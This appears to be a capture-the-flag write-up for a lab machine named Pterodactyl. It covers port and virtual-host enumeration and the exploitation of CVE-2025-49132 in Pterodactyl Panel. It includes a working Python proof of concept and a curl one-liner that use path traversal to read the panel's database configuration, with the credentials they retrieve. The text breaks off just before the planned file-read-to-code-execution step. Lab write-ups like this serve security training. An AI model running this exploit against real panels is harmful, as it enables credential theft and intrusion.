Kill Chain#
TL;DR
The machine was centered around abusing a vulnerable game panel instance and chaining misconfigurations to full compromise. Straightforward once the CVE was identified.
- Virtual host enumeration revealed a Pterodactyl Panel instance.
- Exploited CVE-2025-49132 to achieve arbitrary file read via LFI.
- Retrieved database credentials from exposed configuration files.
- Leveraged PEAR abuse through the LFI to escalate to RCE.
- Gained shell access and performed standard Linux enumeration.
- Reused discovered credentials for further access and privilege escalation to root.
Enumeration#
$target=10.129.14.24
$echo "$target pterodactyl.htb" | sudo tee -a /etc/hostsNmap#
$nmap -sV -sC -vv -Pn -T4 -oN pterodactyl_default $target
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3741ea3ad02140100e6abb4188416e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
| 256 65c833177ad6523d63c3e4a960642dcc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open http syn-ack ttl 63 nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: My Minecraft Server
| http-methods:
|_ Supported Methods: GET HEAD POST
443/tcp closed https reset ttl 63
8080/tcp closed http-proxy reset ttl 63Background Jobs
- Running a full ports scan didn’t expose any open ports.
- Running a UDP scan didn’t lead to anything either.
So we move on.
And here is the landing page:

Ffuf#
Background Jobs
Fuzzing for directories didn’t lead to nothing.
We move on.
VHosts#
$ffuf -c -w `fzf-wordlists`:FUZZ -u "http://pterodactyl.htb/" -H "Host: FUZZ.pterodactyl.htb" -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb/
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 325ms]Which shows:

And we can find a version number [Installed] Pterodactyl Panel v1.11.10 at pterodactyl.htb/changelog.txt

For that we can find CVE-2025-49132.
And here is a poc:
import requests
import json
import argparse
import colorama
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
arg_parser = argparse.ArgumentParser(
description="Check if the target is vulnerable to CVE-2025-49132.")
arg_parser.add_argument("target", help="The target URL")
args = arg_parser.parse_args()
try:
target = args.target.strip() + '/' if not args.target.strip().endswith('/') else args.target.strip()
r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False)
if r.status_code == 200 and "pterodactyl" in r.text.lower():
try:
raw_data = r.json()
data = {
"success": True,
"host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"),
"port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"),
"database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"),
"username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"),
"password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A")
}
print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data['username']}:{data['password']}@{data['host']}:{data['port']}/{data['database']}{colorama.Fore.RESET}")
except json.JSONDecodeError:
print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
except TypeError:
print(colorama.Fore.YELLOW + "Vulnerable but no database" + colorama.Fore.RESET)
else:
print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
except requests.RequestException as e:
if "NameResolutionError" in str(e):
print(colorama.Fore.RED + "Invalid target or unable to resolve domain" + colorama.Fore.RESET)
else:
print(f"{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}") Or its equivalent curl one-liner:
$curl -sk "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database" | jq .
{
"../../../pterodactyl": {
"config/database": {
"default": "mysql",
"connections": {
"mysql": {
"driver": "mysql",
"url": "",
"host": "127.0.0.1",
"port": "3306",
"database": "panel",
"username": "pterodactyl",
"password": "PteraPanel",
"unix_socket": "",
"charset": "utf8mb4",
"collation": "utf8mb4_unicode_ci",
"prefix": "",
"prefix_indexes": "1",
"strict": "",
"timezone": "+00{{00}}",
"sslmode": "prefer",
"options": {
"1014": "1"
}
}
},
"migrations": "migrations",
"redis": {
"client": "predis",
"options": {
"cluster": "redis",
"prefix": "pterodactyl_database_"
},
"default": {
"scheme": "tcp",
"path": "/run/redis/redis.sock",
"host": "127.0.0.1",
"username": "",
"password": "",
"port": "6379",
"database": "0",
"context": []
},
"sessions": {
"scheme": "tcp",
"path": "/run/redis/redis.sock",
"host": "127.0.0.1",
"username": "",
"password": "",
"port": "6379",
"database": "1",
"context": []
}
}
}
}
}The db creds weren’t useful for us at this stage, so let’s try to exploit the vulnerability to get other useful information.
The point now is to get RCE through that LFi using the PEAR php utility. This could be done using:
